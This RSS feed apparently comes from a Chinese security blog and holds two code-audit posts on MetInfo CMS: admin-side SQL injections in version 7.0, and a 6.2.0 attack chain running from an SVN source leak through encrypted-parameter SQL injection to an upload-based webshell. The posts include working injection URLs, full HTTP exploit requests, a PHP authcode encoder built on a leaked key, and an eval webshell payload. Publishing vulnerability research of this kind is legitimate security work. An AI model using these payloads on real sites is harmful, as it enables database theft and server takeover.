<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>metinfo &#8211; ChaBug安全</title>
	<atom:link href="/tags/metinfo/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sun, 06 Oct 2019 13:06:06 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Metinfo7 后台注入及一些tips</title>
		<link>/audit/1014.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 06 Oct 2019 13:06:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[cve]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[sql]]></category>
		<guid isPermaLink="false">/?p=1014</guid>

					<description><![CDATA[很可惜是个后台的注入 跟汤姆表哥再搞创宇的年度任务🤒，昨天发了metinfo6.2.0的组合拳，今天看了看官网有最新版的7.0，就下下来看了看，发现两枚注入，而且昨天的组合拳增加了...]]></description>
										<content:encoded><![CDATA[<p>很可惜是个后台的注入</p>
<p>跟汤姆表哥再搞创宇的年度任务🤒，昨天发了<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>6.2.0的组合拳，今天看了看官网有最新版的7.0，就下下来看了看，发现两枚注入，而且昨天的组合拳增加了后缀校验，绕不过去了，呜呜呜。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/sql" title="sql" target="_blank">sql</a></span> injection 1</h1>
<p>全局搜索<code>where</code></p>
<p>app/system/parameter/include/class/parameter_op.class.php:165</p>
<pre><code class="language-php ">public function paratem($listid = '',$module = '',$class1 = '',$class2 = '',$class3 = ''){
    global $_M;

    $paralist = $this->get_para_list($module,$class1,$class2,$class3);
    foreach ($paralist as $key => $para) {
        $list = $this->parameter_database->get_parameters($module,$para['id']);
        $paralist[$key]['list'] = $list;
        if($para['type'] ==4 || $para['type'] ==2 || $para['type'] ==6){
            $values = array();
            foreach ($list as $val) {
                $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND info = '{$val['id']}' AND lang = '{$_M['lang']}'&quot;;
                $para_value = DB::get_one($query);
                if($para_value){
                    $values[] = $para_value['info'];
                }
            }
            $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'&quot;;
            $para_value = DB::get_one($query);
            $values = $para_value['info'];
        }else{
            $query = &quot;SELECT * FROM {$_M['table']['plist']} WHERE listid = {$listid} AND paraid={$para['id']} AND module={$module} AND lang = '{$_M['lang']}'&quot;;
            $para_value = DB::get_one($query);
            $values = $para_value['info'];
        }


        if(is_array($values)){
            $paralist[$key]['value'] = implode('|', $values);
        }else{
            $paralist[$key]['value'] = $values;
        }
    }
    return $paralist;
    ##require PATH_WEB.'app/system/include/public/ui/admin/paratype.php';
}
</code></pre>
<p>发现<code>{$listid}</code>直接被拼接进sql语句，且<code>listid</code>是函数直接传进来的参数，搜索哪些函数调用了这个函数</p>
<p><img src="https://y4er.com/img/uploads/20190928221736.png" alt="20190928221736" /></p>
<p>app/system/product/admin/product_admin.class.php:171</p>
<pre><code class="language-php ">public function dopara() {
    global $_M;
    if($_M['form']['app_type']=='shop'){
        $class1 = $_M['form']['class1'];
        $class2 = $_M['form']['class2'];
        $class3 = $_M['form']['class3'];
        $paralist = $this->para_op->paratem($_M['form']['id'],$this->module,$class1,$class2,$class3);
        require PATH_WEB . 'app/system/include/public/ui/admin/paratype.php';
    }else{
        parent::dopara();
    }
}
</code></pre>
<p><code>$_M['form']['id']</code>可控，那么sql语句就可控。</p>
<p>payload</p>
<pre><code class="">http://php.local/admin/?n=product&amp;c=product_admin&amp;a=dopara&amp;app_type=shop&amp;id=2 union SELECT 1,2,3,user(),5,6,7 limit 5,1  -- +
</code></pre>
<h1>sql injection 2</h1>
<p>app/system/language/admin/language_general.class.php:108</p>
<pre><code class="language-php ">public function doget_admin_pack($appno,$site,$editor)
{
    global $_M;
    $sql = $appno ? &quot;AND app = {$appno}&quot; : '';
    $language_data = array();
    if ($site == 'admin') {
        $query = &quot;SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='1' {$sql}&quot;;
        $language_data = DB::get_all($query);
        $lang_pack_url = PATH_WEB . 'cache/language_admin_' . $editor . '.ini';
    } else if ($site == 'web') {
        $query = &quot;SELECT name,value FROM {$_M['table']['language']} WHERE lang='{$editor}' AND site ='0' {$sql}&quot;;
        $language_data = DB::get_all($query);
        $lang_pack_url = PATH_WEB . 'cache/language_web_' . $editor . '.ini';
    }

    foreach ($language_data as $key => $val) {
        file_put_contents($lang_pack_url, $val['name'] . '=' . $val['value'] . PHP_EOL, FILE_APPEND);
    }
}
</code></pre>
<p><code>$appno</code>直接拼接 当<code>site</code>等于web或者admin时造成sql注入</p>
<p>找下有没有调用这个函数传参的</p>
<p>app/system/language/admin/language_general.class.php:90</p>
<pre><code class="language-php ">public function doExportPack()
{
    global $_M;

    if (!isset($_M['form']['editor']) || !$_M['form']['editor']) {
        $this->error($_M['word']['js41']);
    }

    $editor = $_M['form']['editor'];
    $site = isset($_M['form']['site']) ? $_M['form']['site'] : '';
    $appno = $_M['form']['appno'] ? $_M['form']['appno'] : '';
    $filename = PATH_WEB . 'cache/language_' . $site . '_' . $editor . '.ini';

    delfile($filename);

    //获取后台语言包
    $this->doget_admin_pack($appno,$site,$editor);

    $filename = realpath($filename);
    header(&quot;&quot;);
    Header(&quot;Content-type:  application/octet-stream &quot;);
    Header(&quot;Accept-Ranges:  bytes &quot;);
    Header(&quot;Accept-Length: &quot; . filesize($filename));
    header(&quot;Content-Disposition:  attachment;  filename=language_{$site}_&quot; . $appno .'_'. $editor . &quot;.ini&quot;);
    //写日志
    $log_name = $_M['form']['site'] ? 'langadmin' : 'langweb';
    logs::addAdminLog($log_name,'language_outputlang_v6','jsok','doExportPack');
    readfile($filename);
}
</code></pre>
<p>看下代码，首先要传递参数<code>editor</code>跳出第一个if语句块，然后<code>site</code>和<code>appno</code>直接传入<code>doget_admin_pack()</code>函数，参数都可控，妥妥的注入。</p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/?n=language&amp;c=language_general&amp;a=doExportPack HTTP/1.1
Host: php.local
Content-Length: 58
Origin: http://php.local/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: XDEBUG_SESSION=PHPSTORM; PHPSESSID=40d2af28a4c309bbb824dc957af59b11; arrlanguage=metinfo; re_url=http%3A%2F%2Fphp.local%2Fadmin%2F; met_auth=65acz4xG7IkP%2BqmPuO%2FIvPsKt4luK6Te34p%2F2BHXEosgKHUwk8dKQRHs7y4Ea9mCH1egudtuz%2Bl02L3eIhMLs7%2FDMw; met_key=PLBqK9J; page_iframe_url=http%3A%2F%2Fphp.local%2Findex.php%3Flang%3Dcn%26pageset%3D1
Connection: close

appno= 1 union SELECT user(),database()&amp;editor=cn&amp;site=web
</code></pre>
<p><img src="/wp-content/uploads/2019/10/20190928223704.png" alt="20190928223704" /></p>
<h1>组合拳</h1>
<p>在前文中提到了metinfo6.2.0配合注入getshell的姿势，但是在metinfo7.0中增加了后缀校验，无法getshell，很可惜。</p>
<p>app/system/include/class/web.class.php:757</p>
<pre><code class="language-php ">if (stristr($filename, '.php')) {
    jsoncallback(array('suc' => 0));
}
</code></pre>
<p>但是这个点仍然可以上传其他后缀的文件，通过这个点配合解析漏洞或者文件包含来getshell未免不可行。</p>
<p>想到了htaccess和.user.ini的同学别费力气了，写文件没办法换行，如果有师傅有新姿势，欢迎评论指点啊！</p>
<h1>总结</h1>
<p>metinfo7.0的注入实际上还有很多，不过很多都是delete型的注入，我在这里挑了两个回显的注入，欢迎师傅们补充交流。</p>
<p>CVE-2019-16997<br />
CVE-2019-16996</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>metinfo 6.2.0正则匹配不严谨导致注入+getshell组合拳</title>
		<link>/web/999.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 27 Sep 2019 16:23:47 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[getshell]]></category>
		<category><![CDATA[metinfo]]></category>
		<category><![CDATA[svn]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[正则]]></category>
		<category><![CDATA[注入]]></category>
		<guid isPermaLink="false">/?p=999</guid>

					<description><![CDATA[今天公司做技术分享，分享了项目中的一个攻击metinfo的案例，很有意思的攻击链，记录下。 svn泄露 svn是一个开放源代码的版本控制系统，如果在网站中存在.svn目录，那么我们...]]></description>
										<content:encoded><![CDATA[<p>今天公司做技术分享，分享了项目中的一个攻击<span class="wpcom_tag_link"><a href="/tags/metinfo" title="metinfo" target="_blank">metinfo</a></span>的案例，很有意思的攻击链，记录下。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/svn" title="svn" target="_blank">svn</a></span>泄露</h1>
<p>svn是一个开放源代码的版本控制系统，如果在网站中存在<code>.svn</code>目录，那么我们可以拿到网站的源代码，方便审计。关于svn泄露需要注意的是SVN 版本 >1.7 时，Seay的工具不能dump源码了。可以用@admintony师傅的脚本来利用 https://github.com/admintony/svnExploit/</p>
<p>在目标站中发现了<code>http://php.local/.svn/</code>目录泄露源代码，发现是metinfo cms，拿到了位于<code>config/config_safe.php</code>中的key，这个key起到了很大作用。</p>
<p>什么是key呢？为什么要有这个key呢？</p>
<p>在metinfo安装完成后，会在<code>config/config_safe.php</code>写入一个key，这个key是用来加密解密账户信息的，你可以在<code>app/system/include/class/auth.class.php</code>看到加解密算法。</p>
<p><img src="https://y4er.com/img/uploads/20190927220929.png" alt="20190927220929" /></p>
<p>可以看到加解密采用了<code>$this-&gt;auth_key.$key</code>作为盐值，<code>$key</code>默认为空，那么这个<code>$this-&gt;auth_key</code>在哪定义的呢？</p>
<p>config/config.inc.php:109</p>
<p><img src="/wp-content/uploads/2019/09/20190927221247.png" alt="20190927221247" /></p>
<p>有了这个key，我们可以自己针对性去加密解密程序密文。</p>
<p>有什么用呢？大部分的cms都会有全局参数过滤，而metinfo的全局过滤简直变态，我们很难直接从request中找到可用的sql<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span>，<strong>而加了密之后的参数一半不会再进行过滤了</strong>，我们可以找下可控的加密参数。</p>
<h1><span class="wpcom_tag_link"><a href="/tags/%e6%ad%a3%e5%88%99" title="正则" target="_blank">正则</a></span>匹配导致的注入</h1>
<p>全局搜索<code>$auth-&gt;decode</code>寻找可控的参数，并且不走过滤的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927221832.png" alt="20190927221832" /></p>
<p>app/system/user/web/getpassword.class.php:93</p>
<pre><code class="language-php ">public function dovalid() {
    global $_M;
    $auth = load::sys_class('auth', 'new');
    $email = $auth->decode($_M['form']['p']);
    if(!is_email($email))$email = '';
    if($email){
        if($_M['form']['password']){
            $user = $this->userclass->get_user_by_email($email);
            if($user){
                if($this->userclass->editor_uesr_password($user['id'],$_M['form']['password'])){
                    okinfo($_M['url']['login'], $_M['word']['modifypasswordsuc']);
                }else{
                    okinfo($_M['url']['login'], $_M['word']['opfail']);
                }
            }else{
                okinfo($_M['url']['login'], $_M['word']['NoidJS']);
            }
        }
        require_once $this->view('app/getpassword_mailset',$this->input);
    }else{
        okinfo($_M['url']['register'], $_M['word']['emailvildtips2']);
    }
}
</code></pre>
<p>可以看到<code>$email</code>直接从<code>$_M['form']['p']</code>中经过<code>$auth-&gt;decode</code> <strong>解密</strong>获取，并没有进行过滤，然后在<code>get_user_by_email($email)</code>中代入数据库查询。但是经过了<code>is_email($email)</code>判断是否为正确的邮箱地址。</p>
<p>跟进app/system/include/function/str.func.php:26</p>
<pre><code class="language-php ">function is_email($email){
    $flag = true;
    $patten = '/[w-]+@[w-]+.[a-zA-Z.]*[a-zA-Z]$/';
    if(preg_match($patten, $email) == 0){
        $flag = false;
    }
    return $flag;
}
</code></pre>
<p>很正常的正则表达式，<strong>但是唯一缺少的是<code>^</code>起始符！</strong>那么我们构造如<code>' and 1=1-- 1@qq.com</code>也会返回true！</p>
<p>email要经过<code>$auth-&gt;decode</code>解密，这个时候我们的key就派上用场了，我们可以使用<code>$auth-&gt;encode()</code>来加密我们的payload传进去，构成注入。</p>
<p>将auth类自己搞一份出来。</p>
<pre><code class="language-php ">&lt;?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
    $ckey_length = 4;
    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    for($i = 0; $i &lt;= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    for($j = $i = 0; $i &lt; 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i &lt; $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }

    if($operation == 'DECODE') {
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) &amp;&amp; substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    }else{
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

print_r(urlencode(authcode($_GET['p'],'ENCODE','cqQWPRhV91To7PmrI5Dd3FGIxjMQpLmt','0')));
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927230507.png" alt="20190927230507" /></p>
<p>需要注意这个<code>123@qq.com</code>是你自己注册的用户，如果<code>met_user</code>表中不存在一条记录，是延时不了的。</p>
<p><img src="/wp-content/uploads/2019/09/20190927230659.png" alt="20190927230659" /></p>
<p>延时成功，你也可以构造布尔盲注，到此为止就是注入的部分，但是我们的目标是拿权限，一个注入就满足了？</p>
<h1>组合拳</h1>
<p>app/system/include/class/web.class.php:467 省略部分代码</p>
<pre><code class="language-php ">public function __destruct(){
    global $_M;
    //读取缓冲区数据
    $output = str_replace(array('&lt;!--&lt;!---->','&lt;!---->','&lt;!--fck-->','&lt;!--fck','fck-->','',&quot;r&quot;,substr($admin_url,0,-1)),'',ob_get_contents());
    ob_end_clean();//清空缓冲区
...
    if($_M['form']['html_filename'] &amp;&amp; $_M['form']['metinfonow'] == $_M['config']['met_member_force']){
        //静态页
        $filename = urldecode($_M['form']['html_filename']);
        if(stristr(PHP_OS,&quot;WIN&quot;)) {
            $filename = @iconv(&quot;utf-8&quot;, &quot;GBK&quot;, $filename);
        }
        if(stristr($filename, '.php')){
            jsoncallback(array('suc'=>0));
        }
        if(file_put_contents(PATH_WEB.$filename, $output)){
            jsoncallback(array('suc'=>1));
        }else{
            jsoncallback(array('suc'=>0));
        }
    }else{
        echo $output;//输出内容
    }
...
}
</code></pre>
<p>在前台基类web.class.php中有<code>__destruct</code>魔术方法，而在这个方法中使用<code>file_put_contents(PATH_WEB.$filename, $output</code>写入文件，其中<code>$output</code>是通过<code>ob_get_contents()</code>获取的缓冲区数据，而<code>$filename</code>是从<code>$_M['form']['html_filename']</code>拿出来的，我们可控。</p>
<p>但是有一个if条件<code>$_M['form']['metinfonow'] == $_M['config']['met_member_force']</code>，这个<code>met_member_force</code>在哪呢？在数据库里，我们可以通过刚才的注入拿到！</p>
<p><img src="/wp-content/uploads/2019/09/20190927232524.png" alt="20190927232524" /></p>
<p>那么我们现在的目的就变为怎么去控制<code>$output</code>也就是缓冲区的值。</p>
<blockquote><p>
  ob_start()在服务器打开一个缓冲区来保存所有的输出。所以在任何时候使用echo，输出都将被加入缓冲区中，直到程序运行结束或者使用ob_flush()来结束。
</p></blockquote>
<p>也就是说我们只要找到web.class.php或者继承web.class.php的子类中有可控的echo输出，配合刚才的注入便可以写入shell。</p>
<p>全局搜索<code>extends web</code>寻找子类，在子类中寻找可控echo输出，最终找到的是<code>app/system/include/module/uploadify.class.php</code>的doupfile()方法</p>
<pre><code class="language-php ">public function set_upload($info){
    global $_M;
    $this->upfile->set('savepath', $info['savepath']);
    $this->upfile->set('format', $info['format']);
    $this->upfile->set('maxsize', $info['maxsize']);
    $this->upfile->set('is_rename', $info['is_rename']);
    $this->upfile->set('is_overwrite', $info['is_overwrite']);
}
...
public function upload($formname){
    global $_M;
    $back = $this->upfile->upload($formname);
    return $back;
}
...
public function doupfile(){
    global $_M;
    $this->upfile->set_upfile();
    $info['savepath'] = $_M['form']['savepath'];
    $info['format'] = $_M['form']['format'];
    $info['maxsize'] = $_M['form']['maxsize'];
    $info['is_rename'] = $_M['form']['is_rename'];
    $info['is_overwrite'] = $_M['form']['is_overwrite'];
    $this->set_upload($info);
    $back = $this->upload($_M['form']['formname']);
    if($_M['form']['type']==1){
        if($back['error']){
            $back['error'] = $back['errorcode'];
        }else{
            $backs['path'] = $back['path'];

            $backs['append'] = 'false';
            $back = $backs;
        }
    }
    $back['filesize'] =  round(filesize($back['path'])/1024,2);
    echo jsonencode($back);
}
...
</code></pre>
<p>echo的$back变量是从<code>$_M['form']['formname']</code>取出来的，可控，向上推看back变量的取值由<code>$this-&gt;upfile-&gt;upload($formname)</code>决定，跟进。</p>
<pre><code class="language-php ">public function upload($form = '') {
    global $_M;
    if($form){
        foreach($_FILES as $key => $val){
            if($form == $key){
                $filear = $_FILES[$key];
            }
        }
    }
    if(!$filear){
        foreach($_FILES as $key => $val){
            $filear = $_FILES[$key];
            break;
        }
    }

    //是否能正常上传
    if(!is_array($filear))$filear['error'] = 4;
    if($filear['error'] != 0 ){
        $errors = array(
            0 => $_M['word']['upfileOver4'],
            1 => $_M['word']['upfileOver'],
            2 => $_M['word']['upfileOver1'],
            3 => $_M['word']['upfileOver2'],
            4 => $_M['word']['upfileOver3'],
            6 => $_M['word']['upfileOver5'],
            7 => $_M['word']['upfileOver5']
        );
        $error_info[]= $errors[$filear['error']] ? $errors[$filear['error']] : $errors[0];
        return $this->error($errors[$filear['error']]);
    }
    ...
    //文件大小是否正确{}
    if ($filear[&quot;size&quot;] > $this->maxsize || $filear[&quot;size&quot;] > $_M['config']['met_file_maxsize']*1048576) {
        return $this->error(&quot;{$_M['word']['upfileFile']}&quot;.$filear[&quot;name&quot;].&quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&quot;);
    }
    //文件后缀是否为合法后缀
    $this->getext($filear[&quot;name&quot;]); //获取允许的后缀
    if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
        return $this->error($this->ext.&quot; {$_M['word']['upfileTip3']}&quot;);
    }
    ...
}
</code></pre>
<p>省略部分代码</p>
<p>我们要看return回去的值就是back变量的值，所以重点关注return的东西看是否可控。</p>
<p>首先是正常foreach取出<span class="wpcom_tag_link"><a href="/tags/%e4%b8%8a%e4%bc%a0" title="上传" target="_blank">上传</a></span>文件的信息，然后判断是否能正常上传-文件大小是否正确-文件后缀是否为合法后缀，如果有错就return。到这里有两种思路。</p>
<h2>超出文件大小<span class="wpcom_tag_link"><a href="/tags/getshell" title="getshell" target="_blank">getshell</a></span></h2>
<p><img src="/wp-content/uploads/2019/09/20190927234118.png" alt="20190927234118" /></p>
<p>在后台中最大文件大小是8m，如果我们上传一个超出8m的文件，那么upload()函数就会<code>return $this-&gt;error(&amp;quot;{$_M['word']['upfileFile']}&amp;quot;.$filear[&amp;quot;name&amp;quot;].&amp;quot; {$_M['word']['upfileMax']} {$_M['word']['upfileTip1']}&amp;quot;);</code> 而这个<code>$filear[&amp;quot;name&amp;quot;]</code>是我们可控的，在foreach中赋值的。</p>
<p>那么这样我们就可以把<code>$filear[&amp;quot;name&amp;quot;]</code>改为shell，然后return回去，赋值给$back，echo进缓冲区，最后file_put_contents拿到shell，完美的利用链。</p>
<p>但是这个8m太大了，<strong>我们可以通过注入进后台把这个限制改为0.0008</strong></p>
<p>构造下payload，<strong>需要注意<code>metinfonow</code>参数是上文中从数据库中取出的<code>met_member_force</code></strong></p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 1120
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php eval($_POST[1]);?>&quot;
Content-Type: image/jpeg

testtesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttesttest
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p><img src="/wp-content/uploads/2019/09/20190927235251.png" alt="20190927235251" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235336.png" alt="20190927235336" /></p>
<p><img src="/wp-content/uploads/2019/09/20190927235402.png" alt="20190927235402" /></p>
<h2>无后缀getshell</h2>
<p>@mochazz师傅在先知上分享了一篇metinfo6.1.3的getshell，我自己测试在6.2.0中已经修复，不过还是提一下。</p>
<p>问题出在 app/system/include/class/upfile.class.php:139 getext()函数</p>
<p>如果不是合法后缀会<code>return $this-&gt;error($this-&gt;ext.&amp;quot; {$_M['word']['upfileTip3']}&amp;quot;)</code>，而<code>$this-&gt;ext</code>经过<code>getext()</code>函数，跟进</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    return $this->ext = $ext;
}
</code></pre>
<p>直接<code>return $ext</code>，那么我们上传一个无后缀的文件，文件名写一句话就可以getshell</p>
<p><img src="/wp-content/uploads/2019/09/20190928000955.png" alt="20190928000955" /></p>
<p><img src="/wp-content/uploads/2019/09/20190928001104.png" alt="20190928001104" /></p>
<p>payload</p>
<pre><code class="language-http ">POST /admin/index.php?c=uploadify&amp;m=include&amp;a=doupfile&amp;lang=cn&amp;metinfonow=xwtpwmp&amp;html_filename=1.php HTTP/1.1
Host: php.local
Content-Length: 194
Origin: http://php.local/
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8tQiXReYsQYXHadW
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Connection: close

------WebKitFormBoundary8tQiXReYsQYXHadW
Content-Disposition: form-data; name=&quot;test&quot;; filename=&quot;&lt;?php phpinfo();?>&quot;
Content-Type: image/jpeg

test
------WebKitFormBoundary8tQiXReYsQYXHadW--
</code></pre>
<p>而在6.2.0中，加入了一行正则判断后缀，绕不过去，无法getshell</p>
<pre><code class="language-php ">protected function getext($filename) {
    if ($filename == &quot;&quot;) {
        return ;
    }
    $ext = explode(&quot;.&quot;, $filename);
    $ext = $ext[count($ext) - 1];
    if (preg_match(&quot;/^[0-9a-zA-Z]+$/u&quot;, $ext)) {
        return $this->ext = $ext;
    }
    return $this->ext = '';
}
</code></pre>
<h1>总结</h1>
<ol>
<li>svn泄露分版本</li>
<li>注册是邮件的正则匹配问题</li>
<li>参数加密一般不走全局过滤 找找注入</li>
<li>关注echo和ob_get_contents()函数 说不定能写shell呢</li>
</ol>
<p>参考链接</p>
<ol>
<li>https://nosec.org/home/detail/2436.html</li>
<li>https://xz.aliyun.com/t/4425</li>
</ol>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
